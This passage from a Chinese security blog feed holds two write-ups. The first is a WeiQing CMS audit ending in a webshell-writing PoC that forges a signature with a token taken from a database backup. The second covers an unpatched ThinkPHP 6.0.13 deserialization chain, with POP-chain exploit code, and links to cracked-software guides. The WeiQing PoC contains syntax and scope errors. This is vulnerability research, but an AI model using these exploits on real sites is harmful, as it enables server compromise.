src="/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/image-20221206155010265.png" alt="image-20221206155010265"></p><p>依照此规律,可梳理出前台访问的接口,及后台访问的接口</p><h2 id="04-前台漏洞"><a href="#04-前台漏洞" class="headerlink" title="04 前台漏洞"></a>04 前台漏洞</h2><p>前台接口中暂未发现漏洞点</p><h2 id="05-后台漏洞"><a href="#05-后台漏洞" class="headerlink" title="05 后台漏洞"></a>05 后台漏洞</h2><h3 id="漏洞1:已公开但无POC"><a href="#漏洞1:已公开但无POC" class="headerlink" title="漏洞1:已公开但无POC"></a>漏洞1:已公开但无POC</h3><p>漏洞出现在web/source/cloud/dock.ctrl.php<br><img src="/2024/04/22/%E5%BE%AE%E6%93%8E%E5%AE%A1%E8%AE%A1/image-20221209092535245.png" alt="image-20221209092535245"></p><p>简单讲述一下代码逻辑(搞懂逻辑,才能构造exp),根据之前的路由分析可知,传入的动作为download时,进入子句</p><p>传入的post数据如果进行了base64编码,则解码后赋值给data,否则直接赋值给data,对data进行反序列化,反序列化后先对数组中的file进行base64解码,再判断是否存在gzcompress和gzuncompress,存在的话再进行解压,最后赋值给file</p><p>从缓存中获取cloud_transtoken,并传入authcode进行解密,赋值给全局变量$_W中的setting->site->token,对file进行md5加密再拼接数组中的path以及全局变量$_W中的setting->site->token,最后赋值给string</p><p>如果全局变量$_W中的setting->site->token非空,且string进行md5加密后等于数组中的sign,则进入子句</p><p>判断数组中的path是否以”/web”或”/framework”开头,此处我们在构造数组中path的时候只需以”/“开头即可绕过,绕过后子句中构造数组path的全路径,最后调用file_put_contents写入webshell</p><p>这里有一个难点,就是从缓存中获取cloud_transtoken,全局搜索,通过分析发现,访问链接 <a href="http://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456">http://ip:port/web/index.php?c=system&a=database&do=backup&status=1&start=2&folder_suffix=123&volume_suffix=456</a> 进行数据库备份,则数据库备份文件的地址为:<a href="http://ip:port/data/backup/123/volume-456-1.sql,拿到数据库备份后,全局搜索cloud_transtoken,可获取cloud_transtoken的值,对应的exp编写如下">http://ip:port/data/backup/123/volume-456-1.sql,拿到数据库备份后,全局搜索cloud_transtoken,可获取cloud_transtoken的值,对应的exp编写如下</a></p><p>简单解释一下,调用项目中的函数authcode,传入cloud_transtoken,获取返回的值,根据之前分析的代码逻辑,反向构造原始数据包,并将payload嵌入其中</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line"></span><br><span class="line">function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {</span><br><span class="line"> $ckey_length = 4;</span><br><span class="line"> $key = md5('' != $key ? $key : "62a37a4d");</span><br><span class="line"> $keya = md5(substr($key, 0, 16));</span><br><span class="line"> $keyb = md5(substr($key, 16, 16));</span><br><span class="line"> $keyc = $ckey_length ? ('DECODE' == $operation ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';</span><br><span class="line"></span><br><span class="line"> $cryptkey = $keya . md5($keya . $keyc);</span><br><span class="line"> $key_length = strlen($cryptkey);</span><br><span class="line"></span><br><span class="line"> $string = 'DECODE' == $operation ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;</span><br><span class="line"> $string_length = strlen($string);</span><br><span class="line"></span><br><span class="line"> $result = '';</span><br><span class="line"> $box = range(0, 255);</span><br><span class="line"></span><br><span class="line"> $rndkey = array();</span><br><span class="line"> for ($i = 0; $i <= 255; ++$i) {</span><br><span class="line"> $rndkey[$i] = ord($cryptkey[$i % $key_length]);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> for ($j = $i = 0; $i < 256; ++$i) {</span><br><span class="line"> $j = ($j + $box[$i] + $rndkey[$i]) % 256;</span><br><span class="line"> $tmp = $box[$i];</span><br><span class="line"> $box[$i] = $box[$j];</span><br><span class="line"> $box[$j] = $tmp;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> for ($a = $j = $i = 0; $i < $string_length; ++$i) {</span><br><span class="line"> $a = ($a + 1) % 256;</span><br><span class="line"> $j = ($j + $box[$a]) % 256;</span><br><span class="line"> $tmp = $box[$a];</span><br><span class="line"> $box[$a] = $box[$j];</span><br><span class="line"> $box[$j] = $tmp;</span><br><span class="line"> $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> if ('DECODE' == $operation) {</span><br><span class="line"> if ((0 == substr($result, 0, 10) || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {</span><br><span class="line"> return substr($result, 26);</span><br><span class="line"> } else {</span><br><span class="line"> return '';</span><br><span class="line"> }</span><br><span class="line"> } else {</span><br><span class="line"> return $keyc . str_replace('=', '', base64_encode($result));</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$cloud_transtoken = ""</span><br><span class="line">$token = authcode($cloud_transtoken, "DECODE");</span><br><span class="line"></span><br><span class="line">function build() {</span><br><span class="line"> $file = "aaa";</span><br><span class="line"> $path = "/test.txt"</span><br><span class="line"> $string = (md5($file) . $path . $token);</span><br><span class="line"> $sign = md5($string)</span><br><span class="line"></span><br><span class="line"> $file_ = gzcompress($file);</span><br><span class="line"> // print($file_);</span><br><span class="line"> $file__ = base64_encode($file_);</span><br><span class="line"> // print($file__);</span><br><span class="line"></span><br><span class="line"> $ret = array(</span><br><span class="line"> "file" => $file__,</span><br><span class="line"> "path" => $path,</span><br><span class="line"> "sign" => $sign</span><br><span class="line"> );</span><br><span class="line"></span><br><span class="line"> print(serialize($ret));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// build();</span><br><span class="line"></span><br><span class="line">/*</span><br><span class="line">$gz = function_exists('gzcompress') && function_exists('gzuncompress');</span><br><span class="line">if ($gz) {</span><br><span class="line"> echo "yes";</span><br><span class="line">} else {</span><br><span class="line"> echo "no";</span><br><span class="line">}</span><br><span class="line">*/</span><br></pre></td></tr></table></figure><p>由于我这边是本地搭建的环境,站点无法注册,导致数据库备份后无cloud_transtoken,不能演示打poc过程,对于实际站点,获取cloud_transtoken后,可基于上述poc获取webshell</p><h1 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h1><p>微擎 CMS:从 SQL 到 RCE <a href="https://cnpanda.net/codeaudit/863.html">https://cnpanda.net/codeaudit/863.html</a><br>记一次从源代码泄漏到后台获取webshell的过程 <a href="https://fuping.site/2020/04/18/WeiQing-CMS-Background-Admin-GetShell/">https://fuping.site/2020/04/18/WeiQing-CMS-Background-Admin-GetShell/</a><br>代码审计之某通用商城系统getshell过程 <a href="https://mp.weixin.qq.com/s/rSP8LQJpIkP-Ahljkof5sA">https://mp.weixin.qq.com/s/rSP8LQJpIkP-Ahljkof5sA</a><br>微擎路由 <a href="https://www.kancloud.cn/donknap/we7/134629">https://www.kancloud.cn/donknap/we7/134629</a><br>微擎设置开发模式 <a href="https://www.kancloud.cn/tieniuweb/we7web/1431036">https://www.kancloud.cn/tieniuweb/we7web/1431036</a><br>微擎加载器 <a href="https://www.kancloud.cn/donknap/we7/134628">https://www.kancloud.cn/donknap/we7/134628</a><br>离线安装包 <a href="http://www.log4cpp.com/learnother/17.html">http://www.log4cpp.com/learnother/17.html</a> </p>]]></content>
<summary type="html"><h1 id="0x01-目标熟悉"><a href="#0x01-目标熟悉" class="headerlink" title="0x01 目标熟悉"></a>0x01 目标熟悉</h1><p>软件简介:微擎是宿州市微擎云计算有限公司开发的一款免费开源的微信公众号管理系统</p</summary>
<category term="代码审计" scheme="http://example.com/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
</entry>
<entry>
<title>ThinkPHP最新版6-0-13-0day利用链分析</title>
<link href="http://example.com/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/"/>
<id>http://example.com/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/</id>
<published>2024-04-22T11:53:08.000Z</published>
<updated>2024-04-22T12:13:52.660Z</updated>
<content type="html"><![CDATA[<h1 id="0x01-ThinkPHP版本梳理"><a href="#0x01-ThinkPHP版本梳理" class="headerlink" title="0x01 ThinkPHP版本梳理"></a>0x01 ThinkPHP版本梳理</h1><p>截止到2022年10月17日<br>6.0.x系列最新版是V6.0.13(2022年07月15日发布)<br>5.1.x系列最新版是V5.1.41(2021年01月12日发布)<br>5.0.x系列最新版是V5.0.24(2019年01月11日发布) </p><p>作者在2019年02月14日发布V5.2 RC1后,没有再发布过V5.2系列,而是在2019年04月22日发布V6.0.0 RC2,看样子V6.0系列接替了V5.2系列</p><p>thinkphp6及以上,安装需要使用composer</p><h1 id="0x02-Mac下PHP集成环境踩坑"><a href="#0x02-Mac下PHP集成环境踩坑" class="headerlink" title="0x02 Mac下PHP集成环境踩坑"></a>0x02 Mac下PHP集成环境踩坑</h1><p>php集成环境,之前在windows下用phpstudy,自从换了mac,什么都要重新来。。</p><p>首选使用破解版MAMP Pro,但我这边下载后安装报错(后经查阅,安装破解版MAMP Pro可能需要关闭SIP,SIP即macOS的一种保护机制),不想关闭SIP,放弃这个方案,也试过MAMP免费版,但不支持切换php版本,这个不能忍,尝试phpstudy mac版,发现phpstudy mac版支持切换php版本,其他功能界面也和phpstudy windows版基本一致,就用它了</p><p>具体使用phpstudy mac版后发现,启动phpstudy mac版内置的php解释器报错,提示找不到redis.so库,在php.ini中注释掉redis.so库可解决此提醒,but,使用phpstudy内置的php下载composer时又报错,提示缺少openssl库,此时需要自己编译openssl库,太麻烦了,干脆换一个php集成环境吧,找来找去,发现MAMP免费版也可以切换php版本(需要一个小技巧,后面会提到),下载后尝试用内置的php下载安装composer,成功安装composer,OK,就用它了</p><p>mamp免费版切换php版本技巧,进入mamp下php安装目录,由于mamp默认会不显示后面加_x的版本,所以可将其他版本改个名字来切换版本,如下图<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221019105719682.png" alt="image-20221019105719682"></p><h1 id="0x03-Mac下ThinkPHP调试环境踩坑"><a href="#0x03-Mac下ThinkPHP调试环境踩坑" class="headerlink" title="0x03 Mac下ThinkPHP调试环境踩坑"></a>0x03 Mac下ThinkPHP调试环境踩坑</h1><p>php开发环境,使用phpstorm 2021.1.4,破解方式参考:<a href="https://github.com/ybdt/pentest-hub/tree/main/%E5%A6%82%E4%BD%95%E6%94%BE%E5%BF%83%E7%9A%84%E7%99%BD%E5%AB%96%E5%9B%9B%E5%A4%A7%E4%B8%BB%E6%B5%81%E8%AF%AD%E8%A8%80IDE">https://github.com/ybdt/pentest-hub/tree/main/如何放心的白嫖四大主流语言IDE</a></p><p>安装composer,参考:<a href="https://getcomposer.org/download/">https://getcomposer.org/download/</a></p><p>在mamp的对应php目录下安装composer,然后创建到/usr/local/bin的软连接,创建软连接后,可从任意位置执行composer及php</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ln -s /Applications/MAMP/bin/php/php7.1.33/bin/composer.phar /usr/local/bin/composer</span><br><span class="line"></span><br><span class="line">ln -s /Applications/MAMP/bin/php/php7.1.33/bin/php /usr/local/bin/php</span><br></pre></td></tr></table></figure><p>安装指定版本的thinkphp框架</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">composer create-project topthink/think tp5.0 5.0.24</span><br></pre></td></tr></table></figure><p>我这边composer版本是2.2.18,不是最新版2.4.3,想使用composer安装thinkphp6的最新版6.0.13会提示找不到,可是php7.1安装composer最高版本只能是2.2.18,于是改用php7.4安装composer,成功安装到composer 2.4.3,再用composer 2.4.3安装thinkphp 6.0.13,成功安装,真是一波三折,如下图<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221019155233012.png" alt="image-20221019155233012"></p><p>然后是php调试环境,mac下想安装xdebug需要先通过homebrew安装php,然后通过pecl安装xdebug,可是这样只能安装php版本对应的xdebug,不能安装指定版本的xdebug,有点烦~</p><p>可从<a href="%5Bhttps://xdebug.org/wizard">https://xdebug.org/wizard</a>中查询当前php版本需要哪个版本的xdebug,结果按照指令安装的时候,发现缺少phpize,官方文档并没有讲述mac下缺少phpize该如何安装,google后发现可能需要编译安装,太麻烦了,想想别的办法,猛地发现,mamp的如下目录自带了编译好的xdebug</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/Applications/MAMP/bin/php/php7.4.21/lib/php/extensions/no-debug-non-zts-20190902</span><br></pre></td></tr></table></figure><p>不得不说,集成环境真香~</p><p>修改php.ini,增加如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[xdebug]</span><br><span class="line">zend_extension="/Applications/MAMP/bin/php/php7.4.21/lib/php/extensions/no-debug-non-zts-20190902/xdebug.so"</span><br><span class="line">xdebug.remote_enable=1</span><br><span class="line">xdebug.remote_autostart=on</span><br><span class="line">xdebug.remote_log="/var/log/xdebug.log"</span><br><span class="line">xdebug.remote_port=9000</span><br><span class="line">xdebug.remote_handler="dbgp"</span><br><span class="line">xdebug.idekey="PhpStorm"</span><br></pre></td></tr></table></figure><p>成功安装了xdebug,如下图<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221020001654994.png" alt="image-20221020001654994"></p><p>Phpstorm配置过程参见:<a href="https://juejin.cn/post/6934614190548221960">https://juejin.cn/post/6934614190548221960</a></p><p>配置好后,如下图启动<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221020094716570.png" alt="image-20221020095242692"></p><p>能看到网页访问停在了断点处<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221020094821384.png" alt="image-20221020094821384"></p><p>程序执行停在了断点处<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221020095242692.png" alt="image-20221020095242692"></p><h1 id="0x04-PHP反序列化漏洞及POP链复习"><a href="#0x04-PHP反序列化漏洞及POP链复习" class="headerlink" title="0x04 PHP反序列化漏洞及POP链复习"></a>0x04 PHP反序列化漏洞及POP链复习</h1><p>PHP反序列化漏洞原理:服务端在处理用户传入的序列化数据时,需要调用unserialize(),php中调用unserialize()会触发魔法方法<code>__wakekup()</code>、<code>__destruct()</code>,如果魔法方法中包含了危险函数或间接包含危险函数,则攻击者可构造恶意的序列化数据,在服务端反序列化的时候造成危险函数的执行,</p><p>PHP反序列化POP链原理:由于类反序列化后只包含属性不包含方法,也就是说我们构造的序列化数据只能操纵类的属性,不能操纵方法,只能通过自动调用魔法方法来调用方法,这个时候如果魔法方法中不是直接包含危险函数,就需要向上回溯,一层一层跟踪,也就是所谓的POP链,通常是寻找包含危险函数的同名方法、或者更复杂的,触发各种魔法方法,最终调用危险函数</p><p>详细讲解可参考:<br><a href="https://johnfrod.top/%E5%AE%89%E5%85%A8/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/">https://johnfrod.top/安全/php反序列化漏洞总结/</a><br><a href="https://www.cnblogs.com/bmjoker/p/13742666.html">https://www.cnblogs.com/bmjoker/p/13742666.html</a></p><p>如下是一个存在反序列化漏洞的文件vuln1.php</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">class Demo {</span><br><span class="line"> var $test;</span><br><span class="line"> </span><br><span class="line"> function __construct() {</span><br><span class="line"> $this->test = new L();</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> function __destruct() {</span><br><span class="line"> $this->test->action();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line">class L {</span><br><span class="line"> function action() {</span><br><span class="line"> echo "function action() in class L";</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line">class Evil {</span><br><span class="line"> var $test2;</span><br><span class="line"> </span><br><span class="line"> function action() {</span><br><span class="line"> eval($this->test2);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line">unserialize($_GET['test']);</span><br></pre></td></tr></table></figure><p>由上述Demo可知,如果构造一个Demo类,里面实例化的是类Evil,反序列化时自动调用<code>__destruct()</code>,<code>__destruct()</code>中调用action(),action()中调用危险函数eval,则最终导致代码执行,同时不要忘记将恶意代码赋值给$test2,payload如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">class Demo {</span><br><span class="line"> var $test;</span><br><span class="line"></span><br><span class="line"> function __construct() {</span><br><span class="line"> $this->test = new Evil();</span><br><span class="line"> $this->test->test2 = "phpinfo();";</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> function __destruct() {</span><br><span class="line"> $this->test->action();</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">class Evil {</span><br><span class="line"> var $test2;</span><br><span class="line"></span><br><span class="line"> function action(){</span><br><span class="line"> eval($this->test2);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$d = new demo();</span><br><span class="line">$data = serialize($d);</span><br><span class="line">echo $data;</span><br><span class="line"></span><br><span class="line">//上述输出</span><br><span class="line">//O:4:"Demo":1:{s:4:"test";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}</span><br></pre></td></tr></table></figure><p>将上述序列化的输出传给vuln1.php,执行结果如下图</p><p><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221021113505973.png" alt="image-20221021113505973"></p><h1 id="0x05-ThinkPHP框架复习"><a href="#0x05-ThinkPHP框架复习" class="headerlink" title="0x05 ThinkPHP框架复习"></a>0x05 ThinkPHP框架复习</h1><p>网站搭建好后,我们会访问:<a href="http://localhost:8888/tp6.0.13/public/index.php">http://localhost:8888/tp6.0.13/public/index.php</a>,其实这里的index.php并不是访问的内容,而是一个类似路由的文件,会请求分发到app/controller/Index.php中的方法index,可以看到其内容也是首页中出现的内容<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221021151524589.png" alt="image-20221021151524589"></p><p>我们对方法index做个修改<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221021151908240.png" alt="image-20221021151908240"></p><p>可以看到,首页内容也发生了修改<br><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221021151946085.png" alt="image-20221021151946085"></p><p>其实访问 <a href="http://localhost:8888/tp6.0.13/public/index.php">http://localhost:8888/tp6.0.13/public/index.php</a> 相当于访问 <a href="http://localhost:8888/tp6.0.13/public/index.php/Index/index">http://localhost:8888/tp6.0.13/public/index.php/Index/index</a> ,只不过不加的时候,类Index和方法index是作为默认值,如果要访问其他方法,改为其他方法即可</p><p><img src="/2024/04/22/ThinkPHP%E6%9C%80%E6%96%B0%E7%89%886-0-13-0day%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/image-20221021152514296.png" alt="image-20221021152514296"></p><p>详细讲解可参考:<br><a href="https://www.kancloud.cn/manual/thinkphp6_0/1037485">https://www.kancloud.cn/manual/thinkphp6_0/1037485</a><br><a href="https://www.kancloud.cn/manual/thinkphp6_0/1037494">https://www.kancloud.cn/manual/thinkphp6_0/1037494</a></p><h1 id="0x06-ThinkPHP最新版6-0-13-0day利用链分析"><a href="#0x06-ThinkPHP最新版6-0-13-0day利用链分析" class="headerlink" title="0x06 ThinkPHP最新版6.0.13 0day利用链分析"></a>0x06 ThinkPHP最新版6.0.13 0day利用链分析</h1><p>截止到2022年10月17日,thinkphp 6.0.x系列最新版是V6.0.13(2022年07月15日发布),08月14日有人提交了一个反序列化利用链,是一个目前尚未修复的0day,下面对它进行一波分析</p><p>先用如下poc打一遍</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br></pre></td><td class="code"><pre><span class="line">namespace League\Flysystem\Cached\Storage{</span><br><span class="line"> class Psr6Cache{</span><br><span class="line"> private $pool;</span><br><span class="line"> protected $autosave = false;</span><br><span class="line"> public function __construct($exp)</span><br><span class="line">{</span><br><span class="line"> $this->pool = $exp;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">namespace think\log{</span><br><span class="line"> class Channel{</span><br><span class="line"> protected $logger;</span><br><span class="line"> protected $lazy = true;</span><br><span class="line"> public function __construct($exp)</span><br><span class="line">{</span><br><span class="line"> $this->logger = $exp;</span><br><span class="line"> $this->lazy = false;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line">namespace think{</span><br><span class="line"> class Request{</span><br><span class="line"> protected $url;</span><br><span class="line"> public function __construct()</span><br><span class="line">{</span><br><span class="line"> $this->url = '<?php phpinfo(); ?>';</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> class App{</span><br><span class="line"> protected $instances = [];</span><br><span class="line"> public function __construct()</span><br><span class="line">{</span><br><span class="line"> $this->instances = ['think\Request'=>new Request()];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">namespace think\view\driver{</span><br><span class="line"> class Php{}</span><br><span class="line">}</span><br><span class="line">namespace think\log\driver{</span><br><span class="line"> class Socket{</span><br><span class="line"> protected $config = [];</span><br><span class="line"> protected $app;</span><br><span class="line"> protected $clientArg = [];</span><br><span class="line"> public function __construct()</span><br><span class="line"> {</span><br><span class="line"> $this->config = [</span><br><span class="line"> 'debug'=>true,</span><br><span class="line"> 'force_client_ids' => 1,</span><br><span class="line"> 'allow_client_ids' => '',</span><br><span class="line"> 'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法</span><br><span class="line"> ];</span><br><span class="line"> $this->app = new \think\App();</span><br><span class="line"> $this->clientArg = ['tabid'=>'1'];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">namespace{</span><br><span class="line"> $c = new think\log\driver\Socket();</span><br><span class="line"> $b = new think\log\Channel($c);</span><br><span class="line"> $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);</span><br><span class="line"> echo urlencode(serialize($a));</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">//输出如下</span><br><span 